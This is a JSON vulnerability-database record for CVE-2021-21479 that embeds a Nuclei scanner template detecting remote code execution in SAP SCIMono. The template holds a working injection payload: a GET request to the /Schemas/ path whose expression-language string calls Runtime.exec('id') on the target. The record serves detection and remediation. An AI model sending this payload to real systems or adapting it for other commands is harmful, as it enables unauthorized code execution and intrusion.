{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-21479/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-21479/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-21479/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-21479/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-21479/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-21479"},"sightings":{"href":"/api/v1/sightings/cve-2021-21479"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-21479.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-21479\n\ninfo:\n  name: SCIMono <0.0.19 - Remote Code Execution\n  author: dwisiswant0\n  severity: critical\n  description: |\n    SCIMono before 0.0.19 is vulnerable to remote code execution because it is possible for an attacker to inject and\n    execute java expressions and compromise the availability and integrity of the system.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.\n  remediation: |\n    Upgrade SCIMono to version 0.0.19 or later to mitigate this vulnerability.\n  reference:\n    - https://securitylab.github.com/advisories/GHSL-2020-227-scimono-ssti/\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-21479\n    - https://github.com/SAP/scimono/security/advisories/GHSA-29q4-gxjq-rx5c\n    - https://github.com/ARPSyndicate/cvemon\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H\n    cvss-score: 9.1\n    cve-id: CVE-2021-21479\n    cwe-id: CWE-74\n    epss-score: 0.10116\n    epss-percentile: 0.95436\n    cpe: cpe:2.3:a:sap:scimono:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: sap\n    product: scimono\n  tags: cve,cve2021,scimono,rce,sap,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\\\"id\\\")')%7D\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"The attribute value\"\n          - \"java.lang.UNIXProcess@\"\n          - \"has invalid value!\"\n          - '\"status\" : \"400\"'\n        condition: and\n# digest: 4b0a00483046022100d754755af78400aa2df7b5308edcc1ea117327458026c141bc88135661ffd24c022100c60093c63e460d1f85870cf201250b4ae5ff14e59b719b3dd69e0f3e1973c202:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-21479"}